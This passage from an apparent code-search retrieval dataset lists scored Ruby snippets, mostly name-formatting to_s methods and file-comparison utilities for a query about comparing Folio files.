"text": "def to_s\r\n @name\r\n end",
"title": ""
},
{
"docid": "558beea34e9f88aef455426cf405cca3",
"score": "0.605506",
"text": "def to_s\n @name.to_s\n end",
"title": ""
},
{
"docid": "e0ed38d44ff52e5eef495e1ac562f206",
"score": "0.6054613",
"text": "def to_s\n fullname\n end",
"title": ""
},
{
"docid": "1381c26e8285468f5b8f086d45bfc1a6",
"score": "0.60545594",
"text": "def to_s\n @name.to_s\n end",
"title": ""
},
{
"docid": "1381c26e8285468f5b8f086d45bfc1a6",
"score": "0.60545594",
"text": "def to_s\n @name.to_s\n end",
"title": ""
},
{
"docid": "1381c26e8285468f5b8f086d45bfc1a6",
"score": "0.60545594",
"text": "def to_s\n @name.to_s\n end",
"title": ""
},
{
"docid": "d0bb0af2fc7e8ed4a81c66c490771ae8",
"score": "0.60467166",
"text": "def patient_name\n patient_id, qualifier = eob.patient_id_and_qualifier\n patient_name_elements = []\n patient_name_elements << 'NM1'\n patient_name_elements << 'QC'\n patient_name_elements << '1'\n patient_name_elements << eob.patient_last_name.to_s.strip\n patient_name_elements << eob.patient_first_name.to_s.strip\n patient_name_elements << eob.patient_middle_initial.to_s.strip\n patient_name_elements << ''\n patient_name_elements << eob.patient_suffix\n patient_name_elements << qualifier\n patient_name_elements << patient_id\n patient_name_elements = Output835.trim_segment(patient_name_elements)\n patient_name_elements.join(@element_seperator)\n end",
"title": ""
},
{
"docid": "38bdb210b49a1363db601a69f5f57448",
"score": "0.60392743",
"text": "def to_s\n txt = name\n txt += \" (#{self.year})\" if self.year && self.year > 0\n return txt\n end",
"title": ""
},
{
"docid": "7124e5852dd2c29c3724638b4d0aaa2a",
"score": "0.60363024",
"text": "def name\n \"Lord Admiral #{@name}\"\n end",
"title": ""
},
{
"docid": "f36ff8620ec079158bd12085c08f021c",
"score": "0.6034336",
"text": "def agent_name\n agent.try(:full_name)\n end",
"title": ""
},
{
"docid": "1f55df036c4451de2dbba543ffe5da2d",
"score": "0.6031616",
"text": "def eob_provider_name\n str = \"\" #initialize in case the fieds are blank\n str += self.provider_last_name.upcase if !self.provider_last_name.blank?\n str += \", \"\n str += self.provider_first_name.upcase if !self.provider_first_name.blank?\n return str\n end",
"title": ""
},
{
"docid": "979ed28111a42878b06ffdbc7603fbac",
"score": "0.6031118",
"text": "def short_name\r\n return \"#{first_name[0].chr}. #{last_name}\"\r\n end",
"title": ""
},
{
"docid": "f8d6eb8fbe04542b6277d53b7b0f3c43",
"score": "0.6030754",
"text": "def to_s\n\t\[email protected]_s\n\tend",
"title": ""
},
{
"docid": "92ca32449d56eccd8a6226daf45646cb",
"score": "0.6023462",
"text": "def full_name\n parents.any? ? (parents + [name]).join(' ') : name\n end",
"title": ""
},
{
"docid": "f2d37cf1ad2b426d0f340a0ed62c24c5",
"score": "0.60212755",
"text": "def abbr_name\n if self.first_name && self.last_name\n return self.first_name.to_s + \" \" + self.last_name[0].to_s + \".\"\n end\n end",
"title": ""
},
{
"docid": "2d9cf9f8395936161944eaf33a50c0f6",
"score": "0.60199386",
"text": "def full_name\n\t\treturn self.salutation.to_s + \" \" + self.last_name.to_s + \" \" + self.first_name.to_s\n end",
"title": ""
},
{
"docid": "7bab31ea25b4cef850e2018f5be22538",
"score": "0.60181135",
"text": "def get_full_name\n self.description.to_s\n end",
"title": ""
},
{
"docid": "2cf13c992eee4e903f6b0abce959988a",
"score": "0.6017584",
"text": "def get_abbr\n s = @name.split(\" \")\n if s.length > 1\n [s[0][0].chr,s[-1][0].chr].map(&:upcase).join\n else\n s[0][0..1].upcase\n end\n end",
"title": ""
},
{
"docid": "d3d945dfe52bb64b13d7be6d3e441211",
"score": "0.6017515",
"text": "def planning_authority_name\n planning_authority_name_no_state + \", \" + state\n end",
"title": ""
},
{
"docid": "d3d945dfe52bb64b13d7be6d3e441211",
"score": "0.6017515",
"text": "def planning_authority_name\n planning_authority_name_no_state + \", \" + state\n end",
"title": ""
},
{
"docid": "fbaa661f91a6296a5358c37d6ad3aa43",
"score": "0.6017285",
"text": "def to_s\n\t\t\t@name\n\t\tend",
"title": ""
},
{
"docid": "fbaa661f91a6296a5358c37d6ad3aa43",
"score": "0.6017285",
"text": "def to_s\n\t\t\t@name\n\t\tend",
"title": ""
},
{
"docid": "fbaa661f91a6296a5358c37d6ad3aa43",
"score": "0.6017285",
"text": "def to_s\n\t\t\t@name\n\t\tend",
"title": ""
},
{
"docid": "dfb217944270f242a9354ca32a2df85b",
"score": "0.6002373",
"text": "def to_s\n opts = []\n opts << \"c\" if current?\n opts << \"g\" if governor?\n if opts.empty?\n self.name\n else\n \"%s (%s)\" % [self.name, opts.join(\",\")]\n end\n end",
"title": ""
},
{
"docid": "a05e56b1d6357c8a522b5598e75678fd",
"score": "0.5996081",
"text": "def org_name\n raw_info['org_name']\n end",
"title": ""
},
{
"docid": "c7349d9f08a8cd2f75654999018aed9f",
"score": "0.599312",
"text": "def format_name\n name.observation_name\n end",
"title": ""
},
{
"docid": "473c077285f52d7261d1d9a811225d64",
"score": "0.59924746",
"text": "def to_s\n return \"#{name.capitalize} (#{age}-year-old #{format_gender})\"\n end",
"title": ""
},
{
"docid": "a94535dda2aa6e18ba7af5b7040798d9",
"score": "0.5989098",
"text": "def name\n return 'AedgSmallToMediumOfficeExteriorLighting'\n end",
"title": ""
},
{
"docid": "fd1955cb4d05a76c070adb8da5d05249",
"score": "0.5986823",
"text": "def abbrev\n dept_abbr.strip\n end",
"title": ""
},
{
"docid": "062c044f853f4748e53997f2e0116a2d",
"score": "0.59807837",
"text": "def to_s\n name\n end",
"title": ""
},
{
"docid": "062c044f853f4748e53997f2e0116a2d",
"score": "0.59807837",
"text": "def to_s\n name\n end",
"title": ""
},
{
"docid": "062c044f853f4748e53997f2e0116a2d",
"score": "0.59807837",
"text": "def to_s\n name\n end",
"title": ""
},
{
"docid": "062c044f853f4748e53997f2e0116a2d",
"score": "0.59807837",
"text": "def to_s\n name\n end",
"title": ""
},
{
"docid": "062c044f853f4748e53997f2e0116a2d",
"score": "0.59807837",
"text": "def to_s\n name\n end",
"title": ""
}
] |
f11e42964b5937a11391a3ec42b47220
|
Override this method stub to compare various Folio related files, e.g., after Folio XML import.
|
[
{
"docid": "029df458a8bd56b75d8fe7b5ec0e4cf3",
"score": "0.0",
"text": "def compare_folio(options)\n end",
"title": ""
}
] |
[
{
"docid": "f323babc1632a06040680ebb5abd9522",
"score": "0.65071553",
"text": "def diff_files; end",
"title": ""
},
{
"docid": "4fdd69a9ef07137593493df6f6d72928",
"score": "0.63200414",
"text": "def compare_files\n @files.each do |file|\n compare_file(file)\n end\n end",
"title": ""
},
{
"docid": "b8fb82cdbe92f458d9ead6e1cfe0cca8",
"score": "0.59944725",
"text": "def ==(other)\n super &&\n @file == other.file\n end",
"title": ""
},
{
"docid": "b8fb82cdbe92f458d9ead6e1cfe0cca8",
"score": "0.5992935",
"text": "def ==(other)\n super &&\n @file == other.file\n end",
"title": ""
},
{
"docid": "9908d2f47dad328014169f396ebbbc7f",
"score": "0.5973357",
"text": "def compareFiles(iFile1, iFile2)\n rResult = false\n\n lContent1 = nil\n File.open(iFile1, 'r') do |iFile|\n lContent1 = iFile.readlines\n end\n lContent2 = nil\n File.open(iFile2, 'r') do |iFile|\n lContent2 = iFile.readlines\n end\n if (lContent1.size == lContent2.size)\n rResult = true\n (0..lContent1.size-1).each do |iIdx|\n # Replace variables in lContent1 and lContent2\n lReference = replaceVars(lContent2[iIdx])\n # Look for a regexp\n if (lContent2[iIdx][0..1] == '%/')\n # Remove the %/ .. / characters\n lReference = lReference[2..-2]\n # Regexp\n if (lContent1[iIdx].match(lReference) == nil)\n # A difference\n log_err \"Files #{iFile1} and #{iFile2} differ on line #{iIdx}: '#{lContent1[iIdx]}' should match /#{lReference}/.\"\n rResult = false\n break\n end\n # String comparison\n elsif (lContent1[iIdx] != lReference)\n # A difference\n log_err \"Files #{iFile1} and #{iFile2} differ on line #{iIdx}:\\n'#{lContent1[iIdx]}'\\nshould be\\n'#{lReference}'.\"\n rResult = false\n break\n end\n end\n else\n log_err \"Number of lines differ from #{iFile1} (#{lContent1.size} lines), and #{iFile2} (#{lContent2.size} lines).\"\n end\n\n return rResult\n end",
"title": ""
},
{
"docid": "ac56d11f2280c1c11fe8aff037e4882e",
"score": "0.59128386",
"text": "def diff_docx_files(expected_path, actual_path)\n expected = parse_docx(expected_path)\n actual = parse_docx(actual_path)\n xml_diffs = {}\n #\n expected.each do |entry_name, expect|\n next unless entry_name =~ /.xml$|.rels$/\n next unless expect != actual[entry_name]\n #\n xml_diffs[entry_name] = diff(expect, actual[entry_name])\n end\n #\n xml_diffs\n end",
"title": ""
},
{
"docid": "1d74fe0763f71bc3e6726d98b1413e7f",
"score": "0.5821565",
"text": "def samefile(other)\n end",
"title": ""
},
{
"docid": "769bd6834007d6f8478fac7b5b626175",
"score": "0.5807259",
"text": "def setup\n @files = []\n SVN_LS.xpath(\"//entry[@kind='file']\").each {|entry| @files << FileItem.new(entry)}\n\n f1 = @files[0]\n f2 = @files[1]\n SVN_LG.each do |entry|\n entry.xpath(\"./paths/path[@kind='file']\").each do |path|\n filename = path.text.gsub(/\\s+/, '')\n filename = (filename.split('/').drop(2)).join('/')\n f1.add_rev(entry) if f1.full_path == filename\n f2.add_rev(entry) if f2.full_path == filename\n end\n end\n end",
"title": ""
},
{
"docid": "e3b322723a4da9fcaa0b0bfd2b77d637",
"score": "0.5798045",
"text": "def ==(other)\n return false unless other.respond_to?(:file_name)\n\n self.file_name == other.file_name\n end",
"title": ""
},
{
"docid": "931b1eedd4c4eca151181dd4807b7bd7",
"score": "0.57965356",
"text": "def compare\n prepare\n with_each_file_in(RAILS_ROOT + '/app') do |f|\n hash = get_file_translations(f)\n merge(f, hash, true)\n end\n finish\n end",
"title": ""
},
{
"docid": "290279fbef94d74cafca4d8aa4a5b6d4",
"score": "0.57803977",
"text": "def eql?(other)\n self.class == other.class && self.filename == other.filename && self.content_types == other.content_types\n end",
"title": ""
},
{
"docid": "f4f0a5c55990fffd07ba9c80f697c92a",
"score": "0.57676876",
"text": "def tests_for_file(filename)\n super.select { |f| @files.has_key? f }\n end",
"title": ""
},
{
"docid": "f4f0a5c55990fffd07ba9c80f697c92a",
"score": "0.57676876",
"text": "def tests_for_file(filename)\n super.select { |f| @files.has_key? f }\n end",
"title": ""
},
{
"docid": "649f695ee8aec7e76b2f71c39dc9bbad",
"score": "0.575332",
"text": "def ==(other)\n @file == other.file\n end",
"title": ""
},
{
"docid": "d4f11735572fdc0b6b21dc16aff1c443",
"score": "0.57501036",
"text": "def compare_startup_conf(f_report,pre_file,current_file)\n printf \"@I: Compare between #{pre_file} and #{current_file}\\n\"\n pre_data, current_data = [\"Previous\",get_Conf(pre_file)], [\"Current\",get_Conf(current_file)]\n @CurrentConfInf = current_data[1]\n f_report.print <<EOF\n\n-------------------------------------------------------------------------------------------------------------------\n\n1. Compare Previous / Current Startup Conf File\n\n1-1. INPUT Information\n\n Previous Startup Conf : #{File.expand_path(pre_file)} (#{File::stat(\"#{pre_file}\").mtime})\n Current Startup Conf : #{File.expand_path(current_file)} (#{File::stat(\"#{current_file}\").mtime})\n\n1-2. Basic Conf File Information\n\nEOF\n [pre_data,current_data].each do |data|\n category = data[0]\n inf = data[1]\n\n f_report.print <<EOF\n [#{category} Startup Conf]\n Product Name : #{inf.PRODUCT}\n Product Ver : #{inf.PRODUCT_VER}\n ICE Ver : #{inf.ICE_VER}\n Top Module : #{inf.TOP_MODULE}\n List File : #{File.expand_path(inf.VERILOG_LIST)}\nEOF\n\n f_report.printf(\" Set Variables : \")\n inf.SET.each_with_index do |set_data,num|\n if num == 0\n f_report.printf(\"%s => %s\\n\",set_data[0],set_data[1]) \n else\n f_report.printf(\" %s => %s\\n\",set_data[0],set_data[1])\n end\n end\n f_report.printf(\"\\n\") \n end\n \n pre_list,current_list = make_list(pre_data[1]), make_list(current_data[1]) \n \n f_report.print <<EOF\n1-3. Comparison Result - Device HDL File Check\n\n [New File(s)] - #{(current_list.keys - pre_list.keys).size} files\nEOF\n \n (current_list.keys - pre_list.keys).each do |file|\n f_report.printf(\" %s\\n\",current_list[file][0])\n end\n \n num = 0\n (current_list.keys & pre_list.keys).each do |file|\n num += 1 if current_list[file][1] != pre_list[file][1] \n end\n \n f_report.print <<EOF\n\n [Update File(s)] - #{num} files\nEOF\n \n # common file\n outdir = \"./result/diff\"\n Common.make_dir(outdir)\n (current_list.keys & pre_list.keys).each do |file|\n # compare md5sum\n next if current_list[file][1] == pre_list[file][1] \n # get module name\n module_list = Array.new\n contents = Conv.new(current_list[file][0]).main\n contents.split(\"\\n\").each do |line|\n if /^\\s*module\\s+(\\w*)\\s*\\(/ =~ line\n module_list << $1.strip\n elsif /^\\s*module\\s+(\\w*)\\s*$/ =~ line\n module_list << $1.strip\n end\n end\n diff = outdir + \"/\" + file + \".diff\"\n # unix diff\n diff_data = `diff -u #{pre_list[file][0]} #{current_list[file][0]}`\n # generate diff file\n printf(\"@I:generate Diff file(%s)\\n\",diff)\n f = open(diff,\"w\")\n diff_data = diff_data.kconv(Kconv::UTF8,Kconv.guess(diff_data))\n diff_data.split(\"\\n\").each do |line|\n f.printf \"%s\\n\",line\n end\n f.close\n # Print message\n f_report.printf(\" %s\\n\",current_list[file][0])\n f_report.printf(\" - Diff File : %s\\n\",diff)\n f_report.printf(\" - Module : \")\n module_list.each_with_index do |mod,i|\n if i == 0\n f_report.printf(\"%s\\n\",mod)\n else\n f_report.printf(\" %s\\n\",mod)\n end\n @UpdatedModules[mod] = diff\n end\n f_report.printf(\"\\n\")\n end\n printf \"Done\\n\"\n end",
"title": ""
},
{
"docid": "bdb597817e592832692a3f31bc521410",
"score": "0.5742415",
"text": "def ==(other)\n @file == other.file\n end",
"title": ""
},
{
"docid": "2cff6a9fa7ed6888eb720c3890565060",
"score": "0.5702912",
"text": "def compare_two_idf_files(old_idf_file, new_idf_file)\n idf_file1 = File.open(old_idf_file)\n idf_file2 = File.open(new_idf_file)\n\n file1_lines = idf_file1.readlines\n file2_lines = idf_file2.readlines\n\n line_not_match_counter = 0\n counter = 0\n file1_lines.each do |line|\n if !line.include?('Sub Surface') && !file2_lines[counter].eql?(line)\n puts \"This is the newly create idf file line : #{line} on line no : #{counter}\"\n puts \"This is the original idf file line : #{file2_lines[counter]} on line no : #{counter}\"\n line_not_match_counter += 1\n end\n counter += 1\n end\n return line_not_match_counter\n end",
"title": ""
},
{
"docid": "272a0528ebafa7febc041a99b6f0324f",
"score": "0.56014675",
"text": "def test_ut_diff_result_get_diff_files_05\n diff_result = diff_results(:diff_results_001)\n old_subtask = Subtask.find_by_task_id_and_analyze_tool_id(diff_result.old_task_id,diff_result.analyze_tool_id)\n new_subtask = Subtask.find_by_task_id_and_analyze_tool_id(diff_result.new_task_id,diff_result.analyze_tool_id)\n diff_result.get_diff_files\n old_original_file = OriginalFile.find_by_subtask_id(old_subtask.id)\n new_original_file = OriginalFile.find_by_subtask_id(new_subtask.id)\n diff_file = DiffFile.find(:all,\n :conditions => { :diff_result_id => diff_result.id ,\n :old_original_file_id => old_original_file.id,\n :new_original_file_id => new_original_file.id }\n )\n assert_not_equal [],diff_file\n end",
"title": ""
},
{
"docid": "ae7ac1ab0e67d69ffe6ca4bfbc5e554b",
"score": "0.5601345",
"text": "def eql?(other)\n [self.file_path.to_s, self.class_name.to_s, self.method_name.to_s] == [other.file_path.to_s, other.class_name.to_s, other.method_name.to_s]\n end",
"title": ""
},
{
"docid": "4e5dc80715be8678616a361b924c2653",
"score": "0.5585743",
"text": "def compare(omod)\n return true if omod == self\n return false unless omod.name == name\n\n oldpathname = Pathname.new(old_path)\n Dir.glob(File.join(old_path, \"**\", \"*\")) do |full_path|\n relative_path = Pathname.new(full_path).relative_path_from(oldpathname)\n ofull_path = File.join(omod.old_path, relative_path)\n return false unless File.exist?(ofull_path)\n return false unless File.directory?(ofull_path) == File.directory?(full_path)\n next if File.directory?(full_path)\n return false unless FileUtils.identical?(full_path, ofull_path)\n end\n \n return true\n end",
"title": ""
},
{
"docid": "cf56d6624ddd4ff32f8b0b005ea77763",
"score": "0.5554812",
"text": "def diff_docx_files(expected_path, actual_path)\n expected = parse_docx(expected_path)\n actual = parse_docx(actual_path)\n xml_diffs = {}\n #\n expected.each do |entry_name, expect|\n next unless entry_name =~ /.xml$|.rels$/\n next unless expect != actual[entry_name]\n #\n xml_diffs[entry_name] = diff(expect, actual[entry_name])\n end\n #\n xml_diffs\n end",
"title": ""
},
{
"docid": "032def48726c393dd214f41a3d85f53b",
"score": "0.55480874",
"text": "def diff_file(left, right, options, opt_file)\n settings = find_file_type_settings(left, opt_file)\n if settings[:ignore]\n echo \"Ignoring file #{left}\"\n return\n end\n options = settings.merge(options)\n from = open_source(left, :from, options)\n to = open_source(right, :to, options)\n diff = CSVDiff.new(from, to, options)\n self << diff\n diff\n end",
"title": ""
},
{
"docid": "22d64a5e8801c6e692e773c128b66e10",
"score": "0.5545358",
"text": "def compare_files(file1,file2)\n compare_result=`diff #{file1} #{file2} | cat -n` \n if compare_result.length > 0\n return compare_result\n elsif compare_result.length == 0\n return nil\n end\n end",
"title": ""
},
{
"docid": "f1fa75acd4a1cc442da1c06437bf6b9a",
"score": "0.55361485",
"text": "def xml_diff(file1, file2, error_on_diff)\n diff_command = \"#{node['user']['dir']}/solr_pack/xmldiffs.py #{file1} #{file2}\"\n Chef::Log.info(\"Executing command : #{diff_command}\")\n result = `#{diff_command} 2>&1`\n exit_code = $?\n Chef::Log.info(\"compare_files exit_code : #{exit_code}\")\n if exit_code != 0\n raise \"Error while comparing zookeeper config\"\n end\n Chef::Log.info(\"solrconfig.xml diff : #{result}\")\n if result != nil && !result.empty?\n msg = \"Following differences found in config between the backup #{file1} and current zookeeper. \"\n if error_on_diff == true\n raise \"#{msg} Please make sure zookeeper config is same as the one present in the backup location #{file1}\"\n else\n Chef::Log.info(msg)\n end\n else\n Chef::Log.info(\"No differences found in config between the backup #{file1} and current zookeeper.\")\n end\n end",
"title": ""
},
{
"docid": "92c424ac4f126c18e98281d2cb65141d",
"score": "0.5534362",
"text": "def compares_files?\n preprocessed_expected.is_a? Pathname\n end",
"title": ""
},
{
"docid": "7245165230df581d618b241a9a0f766b",
"score": "0.5532462",
"text": "def files_different?(path, local_path, content=nil)\n raise \"file_different? not overridden on #{self.class}\"\n end",
"title": ""
},
{
"docid": "f71e3bdcd6ab8506c9ccb7c5b42e6937",
"score": "0.55207974",
"text": "def on_other_file; end",
"title": ""
},
{
"docid": "f7d7b3993f655903214dd76a7d9bdda5",
"score": "0.55074435",
"text": "def different?(a, b)\n !FileUtils.compare_file(a, b)\n end",
"title": ""
},
{
"docid": "8a7dedc17da6c3012322a23059dbc169",
"score": "0.5493703",
"text": "def eql?(other)\n @filepath.eql?(other)\n end",
"title": ""
},
{
"docid": "f74ac1f673a65eab50c4b684f5330336",
"score": "0.5480735",
"text": "def compare_conf(f_report,current_startup_file,pre_config_file)\n printf \"@I: Compare between #{current_startup_file} and #{pre_config_file}\\n\"\n\n current_startup_data, pre_config_data = [\"Current Startup\",get_Conf(current_startup_file)], [\"Pre Config\",get_Conf(pre_config_file)]\n\n f_report.print <<EOF\n\n-------------------------------------------------------------------------------------------------------------------\n\n2. Compare Current Startup / Previous Config\n\n2-1. INPUT Information\n\n Current Startup Conf : #{File.expand_path(current_startup_file)} (#{File::stat(\"#{current_startup_file}\").mtime})\n Previous Config Conf : #{File.expand_path(pre_config_file)} (#{File::stat(\"#{pre_config_file}\").mtime})\n\n2-2. Basic Conf File Information\n\nEOF\n @PreDevVer = pre_config_data[1].PRODUCT_VER\n @CurrentDevVer = current_startup_data[1].PRODUCT_VER\n [current_startup_data,pre_config_data].each do |data|\n category = data[0]\n inf = data[1]\n f_report.print <<EOF\n [Previous #{category} Conf]\n Product Name : #{inf.PRODUCT}\n Product Ver : #{inf.PRODUCT_VER}\n ICE Ver : #{inf.ICE_VER}\n Top Module : #{inf.TOP_MODULE}\n List File : #{File.expand_path(inf.VERILOG_LIST)}\nEOF\n f_report.printf(\" Set Variables : \")\n inf.SET.each_with_index do |set_data,num|\n if num == 0\n f_report.printf(\"%s => %s\\n\",set_data[0],set_data[1]) \n else\n f_report.printf(\" %s => %s\\n\",set_data[0],set_data[1])\n end\n end\n f_report.printf(\"\\n\") \n end\n \n f_report.print <<EOF\n2-3. Comparison Result - Instance Check\n\nEOF\n\n startup_inst = current_startup_data[1].INST\n config_inst = pre_config_data[1].INST\n \n # Case 1 : New Instance\n f_report.print \" [New Instance (except ADD macro)] - add in #{@MergedConf} file\\n\"\n (startup_inst.keys - config_inst.keys).each do |inst|\n inf = startup_inst[inst]\n unless inf.MacroType.downcase == \"add\"\n f_report.printf \" %s\\n\",inst \n @NewInst[inst] = inf\n end\n end\n f_report.print \"\\n\"\n\n # Case 2 : Delete Instance \n f_report.print \" [Delete Instance (except ADD macro)] - comemnt out at #{@MergedConf} file\\n\"\n (config_inst.keys - startup_inst.keys).each do |inst|\n inf = config_inst[inst]\n unless inf.MacroType.downcase == \"add\"\n f_report.printf \" %s\\n\",inst \n @DeleteInst[inst] = inf\n end\n end\n f_report.print \"\\n\"\n \n # Case 3 : Same Instance ( Next Step : Check Module name and each settting file(*.v/*.con) )\n f_report.print \" [Same Instance but Updated Module(except ADD macro)] - add comemnt in #{@MergedConf}\\n\"\n (config_inst.keys & startup_inst.keys).each do |inst|\n inf = config_inst[inst]\n next if inf.MacroType.downcase == \"add\"\n # Same Module , But Update HDL\n if @UpdatedModules[inf.ModuleName] != nil\n f_report.printf \" %s[%s] - HDL Update ( see %s )\\n\",inst,inf.ModuleName,@UpdatedModules[inf.ModuleName]\n @UpdateInst[inst] = inf\n end\n # Different Module\n if startup_inst[inst].ModuleName != config_inst[inst].ModuleName\n f_report.printf \" %s[%s] - Change Module ( %s -> %s )\\n\",inst,inf.ModuleName,config_inst[inst].ModuleName,startup_inst[inst].ModuleName\n @DeleteInst[inst] = config_inst[inst]\n @NewInst[inst] = startup_inst[inst]\n end\n end\n\n # Get HDL File path (current_startup_file)\n device_hdl = Hash.new\n device_diff = Hash.new\n inst_comment = Hash.new\n open(current_startup_file).each do |line|\n if /#\\s*\\[.*\\].*\\(\\s*Inst\\s+:\\s*(\\S+)\\s*\\)/ =~ line\n inst_name = $1.strip\n inst_comment[inst_name] = line\n end\n if /#\\s*DeviceHDL\\s*:\\s+(\\S+)/ =~ line\n file_path = $1.strip\n device_hdl[File.basename(file_path)] = file_path\n end\n if /#\\s*Diff\\s*:\\s+(\\S+)/ =~ line\n file_path = $1.strip\n device_diff[File.basename(file_path)] = file_path\n end\n end\n return device_hdl,device_diff,inst_comment\n end",
"title": ""
},
{
"docid": "30be63874960c7eba3dffa2703901e9b",
"score": "0.54661113",
"text": "def file_equal(current_resource)\n @file_equal ||= begin\n if file_exists\n return true if current_resource.file_sha1 && local_file_sha1 == current_resource.file_sha1\n return true if current_resource.file_md5 && local_file_md5 == current_resource.file_md5\n end\n false\n end\n end",
"title": ""
},
{
"docid": "4ad3f2e71f334918c79ada2bb01872bf",
"score": "0.5455955",
"text": "def ==(other)\n return false unless other.is_a?(File)\n chunks == other.chunks && info == other.info\n end",
"title": ""
},
{
"docid": "09c0b2c6ab0da476df750118e82b04e4",
"score": "0.54319865",
"text": "def get_other_files() \n\t\t\tget_document(@tag_type[2])\n\t\tend",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "763f6b48ab33ff31486f5bf0f8bc4470",
"score": "0.5425844",
"text": "def files; end",
"title": ""
},
{
"docid": "6cc5d1c79e32dca6beb80fc9433d1550",
"score": "0.54161197",
"text": "def scan_files\n\t\tLogger.send(\"warn\",\"[Infocob] Start scan files\")\n\t\t@result[:description] << \"[Infocob] Start scan files\"\n\n\t\tunless File.exists? $base_ftp_repo+INFOCOB_FTP_FOLDER\n\t\t\tLogger.send(\"warn\",\"[Infocob] Directory #{INFOCOB_FTP_FOLDER} does not exist.\")\n\t\t\t@result[:description] << \"[Infocob] Directory #{INFOCOB_FTP_FOLDER} does not exist.\"\n\t\t\treturn\n\t\tend\n\n\t\t# obtain a list of recent .xml, sorted by modification time,\n\t\tpattern = File.join($base_ftp_repo+INFOCOB_FTP_FOLDER, '*')\n\t\tDir[pattern].sort { |a,b|\n\t\t\tFile.mtime(a) <=> File.mtime(b)\n\t\t}.select{ |path|\n\t\t\ttmp_file = File.new(path, \"r+b\")\n\t\t\tfilename = File.basename path\n\t\t\tExecutionSourceFile.where(:hashsum => (Digest::MD5.hexdigest tmp_file.read)).select{ |e| e.execution && e.execution.passerelle == @passerelle }.empty? && filename =~ /.*#{@parameters[\"code_agence\"]}.*\\.xml/i\n\t\t}.each { |path|\n\t\t\t# self.from_file(filename,file,execution)\n\t\t\tname \t\t\t= path\n\t\t\ttmp_file \t\t= File.new(path,\"r+b\")\n\t\t\te \t\t\t\t= Execution.new\n\t\t\te.passerelle \t= @passerelle\n\t\t\te.statut \t\t= \"nex\"\n\t\t\te.save!\n\t\t\t\n\t\t\tf \t\t\t\t= ExecutionSourceFile.from_file(name, tmp_file, e)\n\t\t\te.execution_source_file = f\n\t\t\te.save!\n\t\t}\n\tend",
"title": ""
},
{
"docid": "f8b143a0822e195c9e03e2c10841af2f",
"score": "0.5392091",
"text": "def are_identical?(file1, file2)\n\t\t#puts \"Comparing #{file1} with #{file2}\"\n\t\tdata1 = read_file(@currentDir, file1)\n\t\tdata2 = read_file(@branch_dir, file2)\n\t\treturn (data1 == data2)\n\tend",
"title": ""
},
{
"docid": "2d96ccd707fc3d2eab51fba190936983",
"score": "0.53646433",
"text": "def kinda_equal file\n (self.size == File.size(file)) # && (self.date >= File.mtime(file).utc.to_flat)\n end",
"title": ""
},
{
"docid": "890bc4f86a48cdac1fbebc8615529af7",
"score": "0.5351368",
"text": "def is_equal?\n @is_equal ||= if compares_files?\n FileUtils.compare_file(preprocessed_expected, preprocessed_produced)\n else\n preprocessed_expected == preprocessed_produced\n end\n end",
"title": ""
},
{
"docid": "6647fd409d8ef08c2fada59fd26ea291",
"score": "0.5338786",
"text": "def merge_titles_from_folio_roundtrip_compare_into_folio_import(options)\n base_dir_folio_roundtrip_compare = File.join(\n config.base_dir(:compare_dir), 'folio_source/with_folio_import'\n )\n file_pattern_folio_roundtrip_compare = config.file_pattern(:txt_files)\n base_dir_folio_import = config.base_dir(:folio_import_dir)\n\n markers_file_regex = /(?<!markers)\\.txt\\z/\n\n $stderr.puts 'Merging titles from folio roundtrip compare into content_at'\n $stderr.puts '-' * 80\n start_time = Time.now\n total_count = 0\n success_count = 0\n errors_count = 0\n\n Dir.glob(\n File.join(base_dir_folio_roundtrip_compare, file_pattern_folio_roundtrip_compare)\n ).each do |folio_roundtrip_compare_file_name|\n total_count += 1\n # prepare paths\n content_at_file_name = folio_roundtrip_compare_file_name.gsub(\n base_dir_folio_roundtrip_compare, # update path\n base_dir_folio_import\n ).gsub(\n /\\/+/, '/' # normalize runs of slashes resulting from different directory depths\n ).gsub(\n /\\.txt\\z/, '.folio.at' # replace file extension\n )\n\n\n output_file_name = content_at_file_name\n\n begin\n outcome = Repositext::Merge::TitlesFromFolioRoundtripCompareIntoContentAt.merge(\n File.read(folio_roundtrip_compare_file_name),\n File.read(content_at_file_name),\n )\n\n if outcome.success\n # write to file\n at_with_merged_title = outcome.result\n FileUtils.mkdir_p(File.dirname(output_file_name))\n File.write(output_file_name, at_with_merged_title)\n success_count += 1\n $stderr.puts \" + Merge title from #{ folio_roundtrip_compare_file_name }\"\n else\n errors_count += 1\n $stderr.puts \" x Error: #{ folio_roundtrip_compare_file_name }: #{ outcome.messages.join }\"\n end\n rescue StandardError => e\n errors_count += 1\n $stderr.puts \" x Error: #{ folio_roundtrip_compare_file_name }: #{ e.class.name } - #{ e.message } - #{ e.backtrace.join(\"\\n\") }\"\n end\n end\n\n $stderr.puts '-' * 80\n $stderr.puts \"Finished merging #{ success_count } of #{ total_count } files in #{ Time.now - start_time } seconds.\"\n end",
"title": ""
},
{
"docid": "04df7e72642a5760be40a0c53638ede3",
"score": "0.533143",
"text": "def subclass_files; end",
"title": ""
},
{
"docid": "251bb73b44be36fd5a51d25ec04a6a79",
"score": "0.5327582",
"text": "def between_files(source_file, destination_file)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "0dc2a0769541a888c2eb790d173ce208",
"score": "0.5316225",
"text": "def file_match(file)\n end",
"title": ""
},
{
"docid": "62ec47d5bd00c436ec5df8045c99b0cf",
"score": "0.53114504",
"text": "def ==(other)\n return false unless other.is_a?(Grid::File)\n other.files_id == @files_id && other.mode == @mode\n end",
"title": ""
},
{
"docid": "e8a2e405fe2b7abc0aa53a00d796e0b3",
"score": "0.53111243",
